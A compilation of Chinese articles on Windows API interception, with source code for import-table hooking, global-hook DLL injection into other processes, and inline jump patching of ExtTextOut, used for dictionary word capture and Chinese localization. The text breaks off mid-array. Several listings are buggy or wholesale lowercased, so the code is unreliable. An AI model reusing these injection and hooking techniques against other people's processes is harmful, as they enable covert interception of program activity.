GetNamedImportDescriptor(hModule, szImportMod);

//需要改换的API不能取到正确描

pOrigThunk :=

PIMAGE_THUNK_DATA(DWORD(hModule) + DWORD(pImportDesc.OriginalFirstThunk));

if pImportDesc = nil then Exit;

pRealThunk :=

PIMAGE_THUNK_DATA(DWORD(hModule) + DWORD(pImportDesc.FirstThunk));

while pOrigThunk.u1.Function_ <> nil do

begin

if(pOrigThunk.u1.Ordinal and IMAGE_ORDINAL_FLAG) <> IMAGE_ORDINAL_FLAG then

begin

pByName :=

PIMAGE_IMPORT_BY_NAME(DWORD(hModule) + DWORD(pOrigThunk.u1.AddressOfData));

if pByName.Name[0] = 0 then Exit; //失败

if CompareText(pHookApi.szFunc, PChar(@pByName.Name[0])) = 0 then

begin

//改变thunk保护属性

VirtualQuery (

pRealThunk,

mbi_thunk,

SizeOf(MEMORY_BASIC_INFORMATION));

VirtualProtect(

mbi_thunk.BaseAddress,

mbi_thunk.RegionSize,

PAGE_READWRITE,

@mbi_thunk.Protect);

//保存原来的API函数指针

if pHookApi.pOldProc = nil then

pHookApi.pOldProc := FARPROC(pRealThunk.u1.Function_);

//改变API函数指针

pRealThunk.u1.Function_ := PDWORD(pHookApi.pNewProc);

//将thunk保护属性改回来

VirtualProtect(

mbi_thunk.BaseAddress,

mbi_thunk.RegionSize,

mbi_thunk.Protect,

@dwOldProtect);

end;

end;

Inc(pOrigThunk);

Inc(pRealThunk);

end;

SetLastError(ERROR_SUCCESS);

Result := True;

end;

====================================

如何截获API函数(转）

该程序是基于HOOK原理,主要是将自己的函数放到目标PROCESS的地址空间,这里是使用HOOK实现.首先建立一个MOUSE的HOOK程序,然后在全局鼠标HOOK的DLL中做截获动作,可以在PROCESS_ATTACH时做,也可以在鼠标的HOOK链函数中做.

建立全局HOOK就不说了,可以在网上很多地方看到.主要是截获动作.通过PE格式(使用IMAGE)改变API函数在调用时的地址.DLL部分参考如下代码:

static int WINAPI MyMessageBoxW(HWND hWnd , LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)//自己的MessageBoxW函数

{return MessageBox(hWnd, "TNT"/*lpText*/, "TNT"/*lpCaption*/, uType);

}

我定义了一个结构

typedef struct tag_HOOKAPI

{

LPCSTR szFunc;//待HOOK的API函数名

PROC pNewProc;//新的函数指针

PROC pOldProc;//老的函数指针

}HOOKAPI, *LPHOOKAPI;

extern "C" __declspec(dllexport)PIMAGE_IMPORT_DESCRIPTOR GetNamedImportDescriptor(HMODULE hModule, LPCSTR szImportMod)

{//首先是DOS头

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER) hModule;

if(pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;

PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDOSHeader + (DWORD)(pDOSHeader->e_lfanew));

if(pNTHeader->Signature != IMAGE_NT_SIGNATURE) return NULL;

//如果没有Import部分,返回失败

if(pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0)

return NULL;

//取Import部分

PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)

((DWORD)pDOSHeader + (DWORD)(pNTHeader->OptionalHeader.

DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));

//寻找与szImportMod相配部分

while (pImportDesc->Name)

{

PSTR szCurrMod = (PSTR)((DWORD)pDOSHeader + (DWORD)(pImportDesc->Name));

if (stricmp(szCurrMod, szImportMod) == 0)

break; //找到

pImportDesc++;

}

if(pImportDesc->Name == NULL) return NULL;

return pImportDesc;

}

extern "C" __declspec(dllexport) HookAPIByName(HMODULE hModule/*被HOOK的目标进程MODULE*/, LPCSTR szImportMod/*如GDI32.DLL*/,LPHOOKAPI pHookApi/*指定函数名,如"MessageBoxW"*/)

{

PIMAGE_IMPORT_DESCRIPTOR pImportDesc =

GetNamedImportDescriptor(hModule, szImportMod);

if (pImportDesc == NULL)

return FALSE; //需要改换的API不能取到正确描PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((DWORD)hModule + (DWORD)(pImportDesc->OriginalFirstThunk));

PIMAGE_THUNK_DATA pRealThunk =

(PIMAGE_THUNK_DATA)((DWORD)hModule + (DWORD)(pImportDesc->FirstThunk));

while(pOrigThunk->u1.Function)

{

if((pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)

{

PIMAGE_IMPORT_BY_NAME pByName = (PIMAGE_IMPORT_BY_NAME)((DWORD)hModule + (DWORD)(pOrigThunk->u1.AddressOfData));

if(pByName->Name[0] == '0')

return FALSE; //失败

if(strcmpi(pHookApi->szFunc, (char*)pByName->Name) == 0)

{

//改变thunk保护属性

MEMORY_BASIC_INFORMATION mbi_thunk;

VirtualQuery(pRealThunk, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION));

VirtualProtect(mbi_thunk.BaseAddress,mbi_thunk.RegionSize, PAGE_READWRITE, &mbi_thunk.Protect);

//保存原来的API函数指针

if(pHookApi->pOldProc == NULL)

pHookApi->pOldProc = (PROC)pRealThunk->u1.Function;

//改变API函数指针

pRealThunk->u1.Function = (PDWORD)pHookApi->pNewProc;

//将thunk保护属性改回来

DWORD dwOldProtect;

VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,

mbi_thunk.Protect, &dwOldProtect);

}

}

pOrigThunk++;

pRealThunk++;

}

SetLastError(ERROR_SUCCESS);

return TRUE;

}


鼠标屏幕取词技术的原理和实现

鼠标屏幕取词技术的原理和实现

白瑜

“鼠标屏幕取词”技术是在电子字典中得到广泛地应用的，如四通利方和金山词霸等软件，这个技术看似简单，其实在windows系统中实现却是非常复杂的，总的来说有两种实现方式：

第一种：采用截获对部分gdi的api调用来实现,如textout,textouta等。

第二种：对每个设备上下文(dc)做一分copy,并跟踪所有修改上下文(dc)的操作。

第二种方法更强大,但兼容性不好，而第一种方法使用的截获windowsapi的调用，这项技术的强大可能远远超出了您的想象，毫不夸张的说，利用windowsapi拦截技术，你可以改造整个操作系统，事实上很多外挂式windows中文平台就是这么实现的！而这项技术也正是这篇文章的主题。

截windowsapi的调用，具体的说来也可以分为两种方法：

第一种方法通过直接改写winapi 在内存中的映像，嵌入汇编代码，使之被调用时跳转到指定的地址运行来截获；第二种方法则改写iat（import address table 输入地址表），重定向winapi函数的调用来实现对winapi的截获。

第一种方法的实现较为繁琐，而且在win95、98下面更有难度，这是因为虽然微软说win16的api只是为了兼容性才保留下来，程序员应该尽可能地调用32位的api,实际上根本就不是这样！win 9x内部的大部分32位api经过变换调用了同名的16位api，也就是说我们需要在拦截的函数中嵌入16位汇编代码！

我们将要介绍的是第二种拦截方法，这种方法在win95、98和nt下面运行都比较稳定，兼容性较好。由于需要用到关于windows虚拟内存的管理、打破进程边界墙、向应用程序的进程空间中注入代码、pe（portable executable）文件格式和iat（输入地址表）等较底层的知识，所以我们先对涉及到的这些知识大概地做一个介绍，最后会给出拦截部分的关键代码。

先说windows虚拟内存的管理。windows9x给每一个进程分配了4gb的地址空间，对于nt来说，这个数字是2gb，系统保留了2gb到 4gb之间的地址空间禁止进程访问，而在win9x中，2gb到4gb这部分虚拟地址空间实际上是由所有的win32进程所共享的，这部分地址空间加载了共享win32 dll、内存映射文件和vxd、内存管理器和文件系统码，win9x中这部分对于每一个进程都是可见的，这也是win9x操作系统不够健壮的原因。win9x中为16位操作系统保留了0到4mb的地址空间，而在4mb到2gb之间也就是win32进程私有的地址空间，由于 每个进程的地址空间都是相对独立的，也就是说，如果程序想截获其它进程中的api调用，就必须打破进程边界墙，向其它的进程中注入截获api调用的代码，这项工作我们交给钩子函数（setwindowshookex）来完成，关于如何创建一个包含系统钩子的动态链接库，《电脑高手杂志》在第？期已经有过专题介绍了，这里就不赘述了。所有系统钩子的函数必须要在动态库里，这样的话，当进程隐式或显式调用一个动态库里的函数时，系统会把这个动态库映射到这个进程的虚拟地址空间里，这使得dll成为进程的一部分，以这个进程的身份执行，使用这个进程的堆栈，也就是说动态链接库中的代码被钩子函数注入了其它gui进程的地址空间（非gui进程，钩子函数就无能为力了），

当包含钩子的dll注入其它进程后，就可以取得映射到这个进程虚拟内存里的各个模块（exe和dll）的基地址，如：

hmodule hmodule=getmodulehandle(“mypro.exe”);

在mfc程序中,我们可以用afxgetinstancehandle()函数来得到模块的基地址。exe和dll被映射到虚拟内存空间的什么地方是由它们的基地址决定的。它们的基地址是在链接时由链接器决定的。当你新建一个win32工程时，vc＋＋链接器使用缺省的基地址0x00400000。可以通过链接器的base选项改变模块的基地址。exe通常被映射到虚拟内存的0x00400000处，dll也随之有不同的基地址，通常被映射到不同进程

的相同的虚拟地址空间处。

系统将exe和dll原封不动映射到虚拟内存空间中，它们在内存中的结构与磁盘上的静态文件结构是一样的。即pe (portable executable) 文件格式。我们得到了进程模块的基地址以后，就可以根据pe文件的格式穷举这个模块的image_import_descriptor数组，看看进程空间中是否引入了我们需要截获的函数所在的动态链接库，比如需要截获“textouta”，就必须检查“gdi32.dll”是否被引入了。说到这里，我们有必要介绍一下pe文件的格式，如右图，这是pe文件格式的大致框图，最前面是文件头，我们不必理会，从pe file optional header后面开始，就是文件中各个段的说明，说明后面才是真正的段数据，而实际上我们关心的只有一个段，那就是“.idata”段，这个段中包含了所有的引入函数信息，还有iat（import address table）的rva（relative virtual address）地址。

说到这里，截获windowsapi的整个原理就要真相大白了。实际上所有进程对给定的api函数的调用总是通过pe文件的一个地方来转移的，这就是一个该模块(可以是exe或dll)的“.idata”段中的iat输入地址表（import address table）。在那里有所有本模块调用的其它dll的函数名及地址。对其它dll的函数调用实际上只是跳转到输入地址表，由输入地址表再跳转到dll真正的函数入口。

具体来说，我们将通过image_import_descriptor数组来访问“.idata”段中引入的dll的信息，然后通过image_thunk_data数组来针对一个被引入的dll访问该dll中被引入的每个函数的信息，找到我们需要截获的函数的跳转地址，然后改成我们自己的函数的地址……具体的做法在后面的关键代码中会有详细的讲解。

讲了这么多原理，现在让我们回到“鼠标屏幕取词”的专题上来。除了api函数的截获，要实现“鼠标屏幕取词”，还需要做一些其它的工作，简单的说来，可以把一个完整的取词过程归纳成以下几个步骤：

1． 安装鼠标钩子，通过钩子函数获得鼠标消息。

使用到的api函数：setwindowshookex

2． 得到鼠标的当前位置，向鼠标下的窗口发重画消息，让它调用系统函数重画窗口。

使用到的api函数：windowfrompoint，screentoclient，invalidaterect

3． 截获对系统函数的调用，取得参数，也就是我们要取的词。

对于大多数的windows应用程序来说，如果要取词，我们需要截获的是“gdi32.dll”中的“textouta”函数。

我们先仿照textouta函数写一个自己的mytextouta函数，如：

bool winapi mytextouta(hdc hdc, int nxstart, int nystart, lpcstr lpszstring,int cbstring)

{

// 这里进行输出lpszstring的处理

// 然后调用正版的textouta函数

}

把这个函数放在安装了钩子的动态连接库中，然后调用我们最后给出的hookimportfunction函数来截获进程

对textouta函数的调用，跳转到我们的mytextouta函数，完成对输出字符串的捕捉。hookimportfunction的

用法：

hookfuncdesc hd;

proc porigfuns;

hd.szfunc="textouta";

hd.pproc=(proc)mytextouta;

hookimportfunction (afxgetinstancehandle(),"gdi32.dll",&hd,porigfuns);

下面给出了hookimportfunction的源代码，相信详尽的注释一定不会让您觉得理解截获到底是怎么实现的

很难，ok,let’s go：

///////////////////////////////////////////// begin ///////////////////////////////////////////////////////////////

#include <crtdbg.h>

// 这里定义了一个产生指针的宏

#define makeptr(cast, ptr, addvalue) (cast)((dword)(ptr)+(dword)(addvalue))

// 定义了hookfuncdesc结构,我们用这个结构作为参数传给hookimportfunction函数

typedef struct tag_hookfuncdesc

{

lpcstr szfunc; // the name of the function to hook.

proc pproc; // the procedure to blast in.

} hookfuncdesc , * lphookfuncdesc;

// 这个函数监测当前系统是否是windownt

bool isnt();

// 这个函数得到hmodule -- 即我们需要截获的函数所在的dll模块的引入描述符(import descriptor)

pimage_import_descriptor getnamedimportdescriptor(hmodule hmodule, lpcstr szimportmodule);

// 我们的主函数

bool hookimportfunction(hmodule hmodule, lpcstr szimportmodule,

lphookfuncdesc pahookfunc, proc* paorigfuncs)

{

/////////////////////// 下面的代码检测参数的有效性 ////////////////////////////

_assert(szimportmodule);

_assert(!isbadreadptr(pahookfunc, sizeof(hookfuncdesc)));

#ifdef _debug

if (paorigfuncs) _assert(!isbadwriteptr(paorigfuncs, sizeof(proc)));

_assert(pahookfunc.szfunc);

_assert(*pahookfunc.szfunc != '0');

_assert(!isbadcodeptr(pahookfunc.pproc));

#endif

if ((szimportmodule == null) || (isbadreadptr(pahookfunc, sizeof(hookfuncdesc))))

{

_assert(false);

setlasterrorex(error_invalid_parameter, sle_error);

return false;

}

//////////////////////////////////////////////////////////////////////////////

// 监测当前模块是否是在2gb虚拟内存空间之上

// 这部分的地址内存是属于win32进程共享的

if (!isnt() && ((dword)hmodule >= 0x80000000))

{

_assert(false);

setlasterrorex(error_invalid_handle, sle_error);

return false;

}

// 清零

if (paorigfuncs) memset(paorigfuncs, null, sizeof(proc));

// 调用getnamedimportdescriptor()函数,来得到hmodule -- 即我们需要

// 截获的函数所在的dll模块的引入描述符(import descriptor)

pimage_import_descriptor pimportdesc = getnamedimportdescriptor(hmodule, szimportmodule);

if (pimportdesc == null)

return false; // 若为空,则模块未被当前进程所引入

// 从dll模块中得到原始的thunk信息,因为pimportdesc->firstthunk数组中的原始信息已经

// 在应用程序引入该dll时覆盖上了所有的引入信息,所以我们需要通过取得pimportdesc->originalfirstthunk

// 指针来访问引入函数名等信息

pimage_thunk_data porigthunk = makeptr(pimage_thunk_data, hmodule,

pimportdesc->originalfirstthunk);

// 从pimportdesc->firstthunk得到image_thunk_data数组的指针,由于这里在dll被引入时已经填充了

// 所有的引入信息,所以真正的截获实际上正是在这里进行的

pimage_thunk_data prealthunk = makeptr(pimage_thunk_data, hmodule, pimportdesc->firstthunk);

// 穷举image_thunk_data数组,寻找我们需要截获的函数,这是最关键的部分!

while (porigthunk->u1.function)

{

// 只寻找那些按函数名而不是序号引入的函数

if (image_ordinal_flag != (porigthunk->u1.ordinal & image_ordinal_flag))

{

// 得到引入函数的函数名

pimage_import_by_name pbyname = makeptr(pimage_import_by_name, hmodule,

porigthunk->u1.addressofdata);

// 如果函数名以null开始,跳过,继续下一个函数

if ('0' == pbyname->name[0])

continue;

// bdohook用来检查是否截获成功

bool bdohook = false;

// 检查是否当前函数是我们需要截获的函数

if ((pahookfunc.szfunc[0] == pbyname->name[0]) &&

(strcmpi(pahookfunc.szfunc, (char*)pbyname->name) == 0))

{

// 找到了!

if (pahookfunc.pproc)

bdohook = true;

}

if (bdohook)

{

// 我们已经找到了所要截获的函数,那么就开始动手吧

// 首先要做的是改变这一块虚拟内存的内存保护状态,让我们可以自由存取

memory_basic_information mbi_thunk;

virtualquery(prealthunk, &mbi_thunk, sizeof(memory_basic_information));

_assert(virtualprotect(mbi_thunk.baseaddress, mbi_thunk.regionsize,

page_readwrite, &mbi_thunk.protect));

// 保存我们所要截获的函数的正确跳转地址

if (paorigfuncs)

paorigfuncs = (proc)prealthunk->u1.function;

// 将image_thunk_data数组中的函数跳转地址改写为我们自己的函数地址!

// 以后所有进程对这个系统函数的所有调用都将成为对我们自己编写的函数的调用

prealthunk->u1.function = (pdword)pahookfunc.pproc;

// 操作完毕!将这一块虚拟内存改回原来的保护状态

dword dwoldprotect;

_assert(virtualprotect(mbi_thunk.baseaddress, mbi_thunk.regionsize,

mbi_thunk.protect, &dwoldprotect));

setlasterror(error_success);

return true;

}

}

// 访问image_thunk_data数组中的下一个元素

porigthunk++;

prealthunk++;

}

return true;

}

// getnamedimportdescriptor函数的实现

pimage_import_descriptor getnamedimportdescriptor(hmodule hmodule, lpcstr szimportmodule)

{

// 检测参数

_assert(szimportmodule);

_assert(hmodule);

if ((szimportmodule == null) || (hmodule == null))

{

_assert(false);

setlasterrorex(error_invalid_parameter, sle_error);

return null;

}

// 得到dos文件头

pimage_dos_header pdosheader = (pimage_dos_header) hmodule;

// 检测是否mz文件头

if (isbadreadptr(pdosheader, sizeof(image_dos_header)) ||

(pdosheader->e_magic != image_dos_signature))

{

_assert(false);

setlasterrorex(error_invalid_parameter, sle_error);

return null;

}

// 取得pe文件头

pimage_nt_headers pntheader = makeptr(pimage_nt_headers, pdosheader, pdosheader->e_lfanew);

// 检测是否pe映像文件

if (isbadreadptr(pntheader, sizeof(image_nt_headers)) ||

(pntheader->signature != image_nt_signature))

{

_assert(false);

setlasterrorex(error_invalid_parameter, sle_error);

return null;

}

// 检查pe文件的引入段(即 .idata section)

if (pntheader->optionalheader.datadirectory[image_directory_entry_import].virtualaddress == 0)

return null;

// 得到引入段(即 .idata section)的指针

pimage_import_descriptor pimportdesc = makeptr(pimage_import_descriptor, pdosheader,

pntheader->optionalheader.datadirectory[image_directory_entry_import].virtualaddress);

// 穷举pimage_import_descriptor数组寻找我们需要截获的函数所在的模块

while (pimportdesc->name)

{

pstr szcurrmod = makeptr(pstr, pdosheader, pimportdesc->name);

if (stricmp(szcurrmod, szimportmodule) == 0)

break; // 找到!中断循环

// 下一个元素

pimportdesc++;

}

// 如果没有找到,说明我们寻找的模块没有被当前的进程所引入!

if (pimportdesc->name == null)

return null;

// 返回函数所找到的模块描述符(import descriptor)

return pimportdesc;

}

// isnt()函数的实现

bool isnt()

{

osversioninfo stosvi;

memset(&stosvi, null, sizeof(osversioninfo));

stosvi.dwosversioninfosize = sizeof(osversioninfo);

bool bret = getversionex(&stosvi);

_assert(true == bret);

if (false == bret) return false;

return (ver_platform_win32_nt == stosvi.dwplatformid);

}

/////////////////////////////////////////////// end //////////////////////////////////////////////////////////////////////

不知道在这篇文章问世之前，有多少朋友尝试过去实现“鼠标屏幕取词”这项充满了挑战的技术，也只有尝试过的朋友才能体会到其间的不易，尤其在探索api函数的截获时，手头的几篇资料没有一篇是涉及到关键代码的，重要的地方都是一笔代过，msdn更是显得苍白而无力，也不知道除了image_import_descriptor和image_thunk_data，微软还隐藏了多少秘密，好在硬着头皮还是把它给攻克了，希望这篇文章对大家能有所帮助。


"陷阱"技术探秘

function AllocCStoDSAlias(code_sel:word):word;far;pascal;external 'KRNL386.EXE';

AllocCStoDSAlias//这个函数我以前没有见过;不只那位仁兄能指点一二:

"陷阱"技术探秘

----动态汉化Windows技术的分析

华光科技股份公司研究开发中心 张高峰

摘 要: 四通利方(RichWin)，中文之星(CStar)是大家广为熟知的汉化Windows产品，

"陷阱”技术即动态修改Windows代码，一直是其对外宣称的过人技术，它究竟是如

何实现的，这自然是核心机密。本文试图解开这个秘密，并同时介绍Windows的模块

调用机制与重定位概念，并给出了采用"陷阱"技术动态修改Windows代码的示例源程

序。

关键词：汉化Windows重定位技术

一、发现了什么？

作者多年来一直从事Windows下的软件开发工作，经历

了Windows2.0、3.0、3.1,直至WindowsNT,95的成长过程，也遍历

了长青窗口、长城窗口、DBWin、CStar、RichWin等多个Windows汉化

产品。从现在看来，影响最大也最为成功的，当推四通利方

的RichWin，此外，中文之星CStar与RichWin师出一门，其核心技术

自然也差不许多。其对外宣传采用独特的“陷阱”技术动态

修改Windows代码，一直是作者感兴趣的地方。

EXEHDR是MicrosoftVisualC++开发工具中很有用的一个程

序，它可以检查NE（New_Executable）格式文件，用它来分析RichWin

的WSENGINE.DLL或CStar的CHINESE.DLL就会发现与众不同的两点：

（ 以CStar 1.20 为 例）

C:>exehdr chinese.dll /v

..................................

6 type offset target

BASE060aseg 2 offset 0000

PTR 047eimp GDI.GETCHARABCWIDTHS

PTR 059bimp GDI.ENUMFONTFAMILIES

PTR 0451imp DISPLAY.14( EXTTEXTOUT )

PTR 0415imp KEYBOARD.4( TOASCII )

PTR 04baimp KEYBOARD.5( ANSITOOEM )

PTR 04c9imp KEYBOARD.6( OEMTOANSI )

PTR 04d8imp KEYBOARD.134( ANSITOOEMBUFF)

PTR 05f5imp USER.430( LSTRCMP )

PTR 04e7imp KEYBOARD.135( OEMTOANSIBUFF)

PTR 0514imp USER.431( ANSIUPPER)

PTR 0523imp USER.432( ANSILOWER )

PTR 05aaimp GDI.56( CREATEFONT)

PTR 056eimp USER.433( ISCHARALPHA )

PTR 05b9imp GDI.57( CREATEFONTINDIRECT )

PTR 057dimp USER.434( ISCHARALPHANUMERIC )

PTR 049cimp USER.179( GETSYSTEMMETRICS )

PTR 0550imp USER.435( ISCHARUPPER)

PTR 055fimp USER.436( ISCHARLOWER)

PTR 0532imp USER.437( ANSIUPPERBUFF)

PTR 0541imp USER.438( ANSILOWERBUFF)

PTR 05c8imp GDI.69( DELETEOBJECT )

PTR 058cimp GDI.70( ENUMFONTS )

PTR 04abimp KERNEL.ISDBCSLEADBYTE

PTR 05d7imp GDI.82( GETOBJECT)

PTR 048dimp KERNEL.74 ( OPENFILE )

PTR 0460imp GDI.91( GETTEXTEXTENT)

PTR 05e6imp GDI.92( GETTEXTFACE)

PTR 046fimp GDI.350 ( GETCHARWIDTH )

PTR 0442imp GDI.351 ( EXTTEXTOUT )

PTR 0604imp USER.471( LSTRCMPI )

PTR 04f6imp USER.472( ANSINEXT )

PTR 0505imp USER.473( ANSIPREV )

PTR 0424imp USER.108( GETMESSAGE )

PTR 0433imp USER.109( PEEKMESSAGE)

35 relocations

*******扩号内为作者加上的对应WindowsAPI函数

第一，在数据段中，发现了重定位信息。

第二，这些重定位信息提示的函数，全都与文字显示

输出和键盘，字符串有关。也就是说汉化Windows，必须修改这些函数。

在这非常特殊的地方，隐藏着什么呢？无庸致疑，这与众不同的两点，对打开“陷阱”技术之门而言，不是金钥匙，也是敲门砖。

二、Windows的模块调用机制与重定位概念

为了深入探究“陷阱”技术，我们先来介绍Windows的模块调用机制。Windows的运行分实模式（RealMode），标准模式（StandMode）和增强模式（386EnhancedMode）三种，虽然这几种模式各不相同，但其核心模块的调用关系却是完全一致的。

主要的三个模块，有如下的关系：

KERNEL是Windows系统内核，它不依赖其它模块。

GDI是Windows图形设备接口模块，它依赖于KERNEL模块。

USER是Windows用户接口服务模块，它依赖于KERNEL，GDI模块及设备驱动程序等所有模块。

这三个模块，实际上就是Windows的三个动态连接库，在系统的存在形式如下，KERNEL有三种不同形式，Kernel.exe(实模式),Krnl286.exe(标准模式),Krnl386.

exe(386增强模式)；GDI模块是Gdi.exe；USER模块是User.exe，虽然文件名都以EXE为扩展名，但它们实际都是动态连接库。

同时，几乎所有的API函数都隐藏在这三个模块中。用EXEHDR对这三个模块分析，就可列出一大堆你所熟悉的WindowsAPI函数。

以GDI模块为例，

C:>exehdr gdi.exe

Exports:

ord seg offset name

............

351 1923eEXTTEXTOUT exported, shared data

56 319e1CREATEFONT exported, shared data

............

至此，你已能从Windows纷繁复杂的系统中，理出一些头续来。下面，再引入一个重要概念——重定位。

一个Windows执行程序对调用API函数，或对其它动态库的调用，在程序装入内存前，都是一些不能定位的动态连接，当程序调入内存时，这些远调用都需要重新定位，重新定位的依据就是重定位表。在Windows执行程序（包括动态库）的每个段后面，通常都跟有这样一个重定位表。重定位包含调用函数所在模块，函数序列号，以及定位在模块中的位置。

例如，用EXEHDR/v分析CHINESE.DLL得到

6 type offset target

..........

PTR 0442imp GDI.351

..........

就表明，在本段的0442H偏移处，调用了GDI的第351号函数。如果在0442H处是0000:FFFF，则表示，本段内仅此一处调用了GDI.351函数，否则，表明了本段内还有一处调用此函数，调用的位置就是0442H处所指向的内容，实际上重定位表只含有引用位置的链表的链头。那么，GDI.351是一个什么函数呢？还是用EXEHDR对GDI.EXE作一分析，就可得出，在GDI的出口（Export）函数中，第351号是ExtTextOut。

这样，我们在EXEHDR这一简单而非常有用的工具帮助下，已经在Windows的浩瀚海洋中畅游了一会，下面就来掀开“陷阱”技术的神秘面纱。

三、动态汉化Windows原理

我们知道，传统的汉化Windows的方法，是要直接修改Windows的显示、输入、打印等模块代码，或用DDK直接开发“中文设备”驱动模块，这样不仅工作量浩大，而且，系统的完备性很难保证，性能上也有很多限制（早期的长青窗口就是这样），这样，只有从内核上修改Windows核心代码才是最彻底的办法。

从Windows的模块调用机制，我们可以看到，Windows实际上是由包括在KERNEL，GDI，USER等几个模块中的众多函数支撑的。那么，修改其中涉及语言文字处理的函数，使之能适应中文需要，不就能达到汉化目的了吗？因而，我们可以得出这样的结论：在自己的模块中重新编写涉及文字显示，输入的多个函数，然后，将Windows中对这些函数的引用，改向到自己的这些模块中来。

修改哪些函数才能完成汉化，这需要深入分析Windows的内部结构，但CHINESE.DLL已明确无误地告诉了我们，在其数据段的重定位表中列出的引用函数，正是CStar修改了的Windows函数！

为了验证这一思路，我们利用RichWin作一核实。

用EXEHDR分析GDI.EXE，得出ExtTextOut函数在GDI的第一代码段6139H偏移处（不同版本的Windows其所在代码段和偏移可能不一样）。然后，用HelpWalk（也是MicrosoftVisualC++开发工具中的一个）检查GDI的Code1段，6139H处前5个字节是B8FF054555，经过运行RichWin4.3forInternet后，再查看同样的地方，已改为EA08088F3D,其实反汇编就知道，这5个字节就是代表Jmp3D8F:0808，而句柄为0x3D8F的模块，用HelpWalk能观察到正是RichWin的WSENGINE.DLL的第一代码段（模块名为TEXTMAN）。而偏移0808H处B8B73D45558BEC1E，正是一个函数起始的地方，这实际上就是RichWin所重改写的ExtTextOut函数。退出RichWin后，再用HelpWalk观察GDI的Code1代码段，一切又恢复正常！这与前面的分析结论完全吻合！那么，下一个关键点就是如何动态修改Windows的函数代码，也就是汉化Windows的核心——“陷阱”技术。

四、“陷阱”技术

讨论“陷阱”技术，还要回到前面的两个发现。发现之二，已能解释为修改的Windows函数，而发现之一，却仍是一个迷。

数据段存放的是变量及常量等内容，如果这里面包含有重定位信息，那么，必定要在变量说明中将函数指针赋给一个FARPROC类型的变量，于是，在变量说明中写下：

FARPROCFarProcFunc=ExtTextOut;

果然，我自己程序的数据段中也有了重定位信息。这样，当程序调入内存中时，变量FarProcFunc已是函数ExtTextOut的地址了。

要直接修改代码段的内容，还遇到一个难题，就是代码段是不可改写的。这时，需要用到一个未公开的Windows函数AllocCStoDSAlias取得与代码段有相同基址的可写数据段别名，其函数声明为

WORDFARPASCALAllocCStoDSAlias(WORDcode_sel);

参数是代码段的句柄，返回值是可写数据段别名句柄。

Windows中函数地址是32位，高字是其模块的内存句柄，低字是函数在模块内的偏移。将得到的可写数据段别名句柄锁定，再将函数偏移处的5个字节保留下来，然后将其改为转向替代函数（用EAJmp）

*(lpStr+wOffset)=0xEA;

*(lpStr+wOffset+1)=lpFarProcReplace;

反汇编即是JmplpFarProcReplace，最后，内存解锁。

这就是我们为Windows设的“陷阱”，当所有对此函数的调用都无条件地转到我们规定的替代函数处。当程序结束之前，将保留的5字节内容再置回来，否则，系统会崩溃。

下面给出作者编写的使Windows的ExtTextOut函数落入自己函数“陷阱”的源程序。

//源程序 relocate.c

#include

#include

BOOL WINAPI MyExtTextOut(HDC hDC, int x,

int y, UINT nInt1, const RECT

FAR* lpRect,LPCSTR lpStr, UINT nInt2, int FAR* lpInt);

WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel);

typedef struct tagFUNC

{

FARPROC lpFarProcReplace;//替代函数地址

FARPROC lpFarProcWindows;//Windows函数地址

BYTEbOld;//保存原函数第一字节

LONGlOld;//保存原函数接后的四字节长值

}FUNC;

FUNCFunc={MyExtTextOut,ExtTextOut};

//Windows主函数

int PASCAL WinMain(HINSTANCE

hInstance,HINSTANCE hPrevInstance,

LPSTR lpCmdLine,int nCmdShow)

{

HANDLE hMemCode;//代码段句柄

WORD hMemData;//相同基址的可写数据段别名

WORD wOffset; //函数偏移

LPSTRlpStr;

LPLONG lpLong;

char lpNotice[96];

hMemCode=HIWORD((LONG) Func.lpFarProcWindows );

wOffset=LOWORD((LONG) Func.lpFarProcWindows );

wsprintf(lpNotice,"函数所在模块句柄 0x%4xH,偏移 0x%4xH",

hMemCode,wOffset);

MessageBox(NULL,lpNotice,"提示",MB_OK);

//取与代码段有相同基址的可写数据段别名

hMemData=AllocCStoDSAlias(hMemCode);

lpStr=GlobalLock(hMemData);

lpLong=(lpStr+wOffset+1 );

//保存原函数要替换的头几个字节

Func.bOld=*(lpStr+wOffset);

Func.lOld=*lpLong;

*(lpStr+wOffset)=0xEA;

*lpLong=Func.lpFarProcReplace;

GlobalUnlock(hMemData);

MessageBox(NULL,"改为自己的函数","提示",MB_OK);

//将保留的内容改回来

hMemData=AllocCStoDSAlias(hMemCode);

lpStr=GlobalLock(hMemData);

lpLong=(lpStr+wOffset+1 );

*(lpStr+wOffset)=Func.bOld;

*lpLong=Func.lOld;

GlobalUnlock(hMemData);

MessageBox(NULL,"改回原Windows函数","提示",MB_OK);

return 1;

}

//自己的替代函数

BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nInt1,

const RECT FAR* lpRect, LPCSTR lpStr, UINT nInt2, int FAR* lpInt)

{

BYTE NameDot[96]={

0x09, 0x00, 0xfd, 0x08, 0x09, 0x08, 0x09, 0x10, 0x09, 0x20,

0x79, 0x40, 0x41, 0x04, 0x47, 0xfe, 0x41, 0x40, 0x79, 0x40,

0x09, 0x20, 0x09, 0x20, 0x09, 0x10, 0x09, 0x4e, 0x51, 0x84,

0x21, 0x00, 0x02, 0x00, 0x01, 0x04, 0xff, 0xfe, 0x00, 0x00,

0x1f, 0xf0, 0x10, 0x10, 0x10, 0x10, 0x1f, 0xf0, 0x00, 0x00,

0x7f, 0xfc, 0x40, 0x04, 0x4f, 0xe4, 0x48, 0x24, 0x48, 0x24,

0x4f, 0xe4, 0x40, 0x0c, 0x10, 0x80, 0x10, 0xfc, 0x10, 0x88,

0x11, 0x50, 0x56, 0x20, 0x54, 0xd8, 0x57, 0x06, 0x54, 0x20,

